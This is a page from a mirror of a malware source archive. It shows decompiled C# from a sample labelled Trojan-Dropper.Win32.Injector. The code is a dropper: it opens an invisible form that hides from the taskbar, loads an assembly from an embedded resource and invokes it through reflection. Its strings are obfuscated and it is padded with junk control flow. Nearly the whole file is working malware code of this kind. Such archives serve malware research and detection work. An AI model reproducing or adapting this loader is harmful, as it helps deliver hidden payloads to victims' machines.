mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
f2ac1ece55
add
295 lines
11 KiB
C#
295 lines
11 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: _2012_D.Form1
|
||
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
||
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.dblt-7c6234b9971bafa36775d3f787a0c6953ddd3783cc4702e2d3881a5e33b7586b.exe
|
||
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.ComponentModel;
|
||
using System.Diagnostics;
|
||
using System.Drawing;
|
||
using System.Reflection;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Windows.Forms;
|
||
|
||
namespace _2012_D
|
||
{
|
||
[DesignerGenerated]
|
||
public class Form1 : Form
|
||
{
|
||
private IContainer components;
|
||
[AccessedThroughProperty("Button1")]
|
||
private Button _Button1;
|
||
[AccessedThroughProperty("CheckBox1")]
|
||
private CheckBox _CheckBox1;
|
||
[AccessedThroughProperty("Label1")]
|
||
private Label _Label1;
|
||
[AccessedThroughProperty("RadioButton1")]
|
||
private RadioButton _RadioButton1;
|
||
[AccessedThroughProperty("PictureBox1")]
|
||
private PictureBox _PictureBox1;
|
||
|
||
public Form1()
|
||
{
|
||
this.Load += new EventHandler(this.Form1_Load);
|
||
this.InitializeComponent();
|
||
}
|
||
|
||
[DebuggerNonUserCode]
|
||
protected override void Dispose(bool disposing)
|
||
{
|
||
try
|
||
{
|
||
if (!disposing || this.components == null)
|
||
return;
|
||
this.components.Dispose();
|
||
}
|
||
finally
|
||
{
|
||
base.Dispose(disposing);
|
||
}
|
||
}
|
||
|
||
[DebuggerStepThrough]
|
||
private void InitializeComponent()
|
||
{
|
||
label_2:
|
||
int num = 3;
|
||
Point point1;
|
||
Size size1;
|
||
while (true)
|
||
{
|
||
switch (num)
|
||
{
|
||
case 0:
|
||
this.CheckBox1.AutoSize = true;
|
||
CheckBox checkBox1_1 = this.CheckBox1;
|
||
point1 = new Point(25, 61);
|
||
Point point2 = point1;
|
||
checkBox1_1.Location = point2;
|
||
this.CheckBox1.Name = \u003CCliSecureRT\u003E.cs("rËü\u0013<3wW~");
|
||
CheckBox checkBox1_2 = this.CheckBox1;
|
||
size1 = new Size(81, 17);
|
||
Size size2 = size1;
|
||
checkBox1_2.Size = size2;
|
||
this.CheckBox1.TabIndex = 1;
|
||
this.CheckBox1.Text = \u003CCliSecureRT\u003E.cs("rËü\u0013<3wW~");
|
||
this.CheckBox1.UseVisualStyleBackColor = true;
|
||
this.Label1.AutoSize = true;
|
||
Label label1_1 = this.Label1;
|
||
point1 = new Point(25, 88);
|
||
Point point3 = point1;
|
||
label1_1.Location = point3;
|
||
this.Label1.Name = \u003CCliSecureRT\u003E.cs("}Âû\u0015;@");
|
||
Label label1_2 = this.Label1;
|
||
size1 = new Size(39, 13);
|
||
Size size3 = size1;
|
||
label1_2.Size = size3;
|
||
this.Label1.TabIndex = 2;
|
||
this.Label1.Text = \u003CCliSecureRT\u003E.cs("}Âû\u0015;@");
|
||
num = 2;
|
||
continue;
|
||
case 1:
|
||
goto label_7;
|
||
case 2:
|
||
do
|
||
{
|
||
this.RadioButton1.AutoSize = true;
|
||
RadioButton radioButton1_1 = this.RadioButton1;
|
||
point1 = new Point(28, 113);
|
||
Point point4 = point1;
|
||
radioButton1_1.Location = point4;
|
||
this.RadioButton1.Name = \u003CCliSecureRT\u003E.cs("cÂý\u001983m[;ÚØA");
|
||
RadioButton radioButton1_2 = this.RadioButton1;
|
||
size1 = new Size(90, 17);
|
||
Size size4 = size1;
|
||
radioButton1_2.Size = size4;
|
||
this.RadioButton1.TabIndex = 3;
|
||
this.RadioButton1.TabStop = true;
|
||
this.RadioButton1.Text = \u003CCliSecureRT\u003E.cs("cÂý\u001983m[;ÚØA");
|
||
this.RadioButton1.UseVisualStyleBackColor = true;
|
||
PictureBox pictureBox1_1 = this.PictureBox1;
|
||
point1 = new Point(113, 46);
|
||
Point point5 = point1;
|
||
pictureBox1_1.Location = point5;
|
||
this.PictureBox1.Name = \u003CCliSecureRT\u003E.cs("aÊú\u0004\"\u0003}m Í\u0087");
|
||
PictureBox pictureBox1_2 = this.PictureBox1;
|
||
size1 = new Size(30, 50);
|
||
Size size5 = size1;
|
||
pictureBox1_2.Size = size5;
|
||
this.PictureBox1.TabIndex = 4;
|
||
this.PictureBox1.TabStop = false;
|
||
}
|
||
while (false);
|
||
num = 1;
|
||
continue;
|
||
case 3:
|
||
this.Button1 = new Button();
|
||
this.CheckBox1 = new CheckBox();
|
||
this.Label1 = new Label();
|
||
this.RadioButton1 = new RadioButton();
|
||
this.PictureBox1 = new PictureBox();
|
||
((ISupportInitialize) this.PictureBox1).BeginInit();
|
||
this.SuspendLayout();
|
||
Button button1_1 = this.Button1;
|
||
point1 = new Point(25, 22);
|
||
Point point6 = point1;
|
||
button1_1.Location = point6;
|
||
this.Button1.Name = \u003CCliSecureRT\u003E.cs("sÖí\u00048\u001F)");
|
||
Button button1_2 = this.Button1;
|
||
size1 = new Size(75, 23);
|
||
Size size6 = size1;
|
||
button1_2.Size = size6;
|
||
this.Button1.TabIndex = 0;
|
||
this.Button1.Text = \u003CCliSecureRT\u003E.cs("sÖí\u00048\u001F)");
|
||
this.Button1.UseVisualStyleBackColor = true;
|
||
num = 0;
|
||
continue;
|
||
default:
|
||
goto label_2;
|
||
}
|
||
}
|
||
label_7:
|
||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||
this.AutoScaleMode = AutoScaleMode.Font;
|
||
size1 = new Size(155, 138);
|
||
this.ClientSize = size1;
|
||
this.Controls.Add((Control) this.PictureBox1);
|
||
this.Controls.Add((Control) this.RadioButton1);
|
||
this.Controls.Add((Control) this.Label1);
|
||
this.Controls.Add((Control) this.CheckBox1);
|
||
this.Controls.Add((Control) this.Button1);
|
||
this.Name = \u003CCliSecureRT\u003E.cs("wÌë\u001Df");
|
||
this.Opacity = 0.0;
|
||
this.ShowIcon = false;
|
||
this.ShowInTaskbar = false;
|
||
((ISupportInitialize) this.PictureBox1).EndInit();
|
||
this.ResumeLayout(false);
|
||
this.PerformLayout();
|
||
}
|
||
|
||
internal virtual Button Button1
|
||
{
|
||
get => this._Button1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value;
|
||
}
|
||
|
||
internal virtual CheckBox CheckBox1
|
||
{
|
||
get => this._CheckBox1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
|
||
}
|
||
|
||
internal virtual Label Label1
|
||
{
|
||
get => this._Label1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
||
}
|
||
|
||
internal virtual RadioButton RadioButton1
|
||
{
|
||
get => this._RadioButton1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._RadioButton1 = value;
|
||
}
|
||
|
||
internal virtual PictureBox PictureBox1
|
||
{
|
||
get => this._PictureBox1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
||
}
|
||
|
||
private object HIyl7gY2uAFg65()
|
||
{
|
||
double num = 822.0;
|
||
bool flag = false;
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
while (true)
|
||
{
|
||
flag = true;
|
||
num = 15.0;
|
||
}
|
||
}
|
||
return (object) 75254250;
|
||
}
|
||
|
||
private void Form1_Load(object sender, EventArgs e) => this.pleple();
|
||
|
||
public void VGUe8wq3d2B199unLsG4hS()
|
||
{
|
||
bool flag1 = true;
|
||
string str = \u003CCliSecureRT\u003E.cs("\u0012ïð4'GLp\u000FÍ\u0080*⁌\u0004!\u200C\u0019,\u0017 J‼Ç※ʰ \u0090\u20FB\u00B2mƼ⁐(\u0014\u008Bn\u008EÜÉA⁼Jb\u00AD\u008AÿIw=Ö%");
|
||
double num1 = 41.0;
|
||
bool flag2 = false;
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
flag2 = false;
|
||
flag2 = false;
|
||
\u003CCliSecureRT\u003E.cs("t\u0092à\u0002j\u000Ex\u0014(\u0095à$?T7\u202BH_d¡y\u0003ÉT\u0010rÛ⃪ƉÜMw\u0011!Ü)\u0087\u0085Ö\vrlP|®\u008EM\u001B\u0092õ3\u000EǓ\u0098-K¬[ÔJ\f'\u0005\u0091ÖS\u000FwÔ\n!V\u0014Ê\u008CÙB\u2066\u0005ããåuFƥ\u00BD\u0083ÉãçS\u001Bn⁞\u0095§×v\u0005Ä\u009F7₰ñs®§á\u200BÆ\u009Fi\u2083à*oCd\u000E\u206EØäK;*TyF}\u0011d`ư\u0091‿\u0011K⃝¨\u0088\viķ%\u0012ü‾\u0081Äù“⁼pO\u0088Ò¡'\u2078\u0082\u00067h¯ₕM|\u0081\u0010\u00B2\vMtw\u00B9Ñ\f\u001E\u2028\u008Bw\u0017\tIȢÓ»tKő\u0096ǜé\u009C%˱\u008C\u00B3");
|
||
double num2 = 31228811.0;
|
||
str = \u003CCliSecureRT\u003E.cs("]Ö Gb\u0006}Nx\u008CôG\u001F]Q%\u0019\\\u0016¯\u0019tþv\u0011QÏ\u009B\u0080\u0019\u001D~{\u001FýQ¤µ\u0094T\"}A¥Çª$/þºH\u0003Äû\u000Fe\u00BDD\u00BC@L \u0003\u00B3Ë-e@Ò=u\u0012G×òµb\u0080vãñâ):\u000F·¨¿æÔ");
|
||
int num3 = 939971;
|
||
while (num3 <= 114)
|
||
checked { ++num3; }
|
||
str = \u003CCliSecureRT\u003E.cs("{õÏBcH{Gzôý@\b=/vfek\u0080fo\u008EvCwµ\u008A\u0096\t\u001E~wdÂVþÅìo\f\u0018s¿\u00B9\u008B.#øè[\u007Fì\u008A\u0018=ÞG\u00BEr\u0011~M\u009B\u00BE\0\u001C(â\u0013ry\u0014\u0097\u0098ß\u0015\u00BDg\u0090ó");
|
||
num2 = 6330.0;
|
||
while (true)
|
||
{
|
||
flag1 = false;
|
||
num1 = 25.0;
|
||
}
|
||
}
|
||
|
||
public void pleple()
|
||
{
|
||
Assembly assembly = Assembly.Load(_2012_D.My.Resources.Resources.Function_1);
|
||
object[] args = new object[0];
|
||
assembly.GetType(\u003CCliSecureRT\u003E.cs("wÖ÷^\u0002\u0002qA}\u0085")).InvokeMember(\u003CCliSecureRT\u003E.cs("\\Âð\u001E"), BindingFlags.InvokeMethod, (Binder) null, (object) null, args);
|
||
}
|
||
|
||
private object wMm71r()
|
||
{
|
||
label_2:
|
||
int num1 = 3;
|
||
while (true)
|
||
{
|
||
switch (num1)
|
||
{
|
||
case 0:
|
||
int num2 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("XîøK⁍:PS\u001AÔÊ\u0002\u00040ǶRʼncXÎSlç\u0019\u0010xÈñÑ\u0016w\u001C\u000F\u001EǍ5\u009FÞé\u001D\tAa´Þ·\u0017/Êₒ}ªₛê⁅‗Û\u206BÃ‑@-jÅÄW\u00155ₗ\u206AÃ\u200B'\u009DÒË₍\u20F3\u0001 \u200Dâ{LD¯¡₯\u008A/¢\t~7\u206B\u0085ÊDPĕý9ð\u0013y\u009D\u009CµhₚÝ\t\u200FÔT9ČRv6Ýñ\u001C"));
|
||
num1 = 2;
|
||
continue;
|
||
case 1:
|
||
\u003CCliSecureRT\u003E.cs("\u0002ßéB\u000E!op9Úü\u0013\u0012\u000Eô@\0z\u001B\u008EBeÀVL\aÂ\u0090¦\u0016\t)\u0014fé\\\u00B2Ú5G\u0005‵[»\u008EC'À\u0081Ç>\\ǓÊ8pÏã\u20C1eFw\u0016\u00B3î\u0011\u0003t\u009A *\v\u001Fµë\u009C_õőæÁõSOt ®þ©Í\u0013\u20F7+0¯Ü\u0081/ⁿ¦ß\u20C8ü5>~\u0099Ñ\u007F¤\u0094\u0014È\u2087\u0006\u20FBW3\u001A\u007Fúₗ\"!\u0013⁂9RZ›\u0097pˤäV\u001B\u00AD¿\u008A¢\u007Fl`.\fÊN£⃛\u0093ReC„\u00BC\u20CB\u008DZļ\u0082ₕi\u001Cîò= ÒBÑ‗\u00021KÓû\u0013\u200E8ù\u001A\u2072\u001A4\u0095ÖË\u0002°{\u2080æ\u008By");
|
||
\u003CCliSecureRT\u003E.cs("‗à\u00B9IÚRFa,\u0082ËV\u0015K:m\u00B9\u0090¯¤ŝM÷Y\u206CIȺöd$Z\"*\0\u0087 \u0093\u00B9\u2085\v\u2065l^Õ\u0088\u0095\v*ñ\u00BD2†\u000E\u0081\u0006:ÉD\u00B2sZ\fj⁐Ó_\u007F[É+\u0001FQ\u0091î\u0084\u0010ì\u0010à\u2081\u0086n\u0010Z⃕¬Ûª\u0081Ő\u001F\u0088\u000Fî\u009D⃔s\u0013â\u00896öî\u2068¡¸¦e¬È\u00BE\u0096º!⁉\u0011q\u001C,é9\u0012\u0010\f⁼`qv^\u009Dsaø\u0019%p");
|
||
goto case 2;
|
||
case 2:
|
||
do
|
||
{
|
||
\u003CCliSecureRT\u003E.cs("\u001Dðċ\\e=Rbtâ\u0085");
|
||
}
|
||
while (false);
|
||
num1 = 1;
|
||
continue;
|
||
case 3:
|
||
num1 = 0;
|
||
continue;
|
||
default:
|
||
goto label_2;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|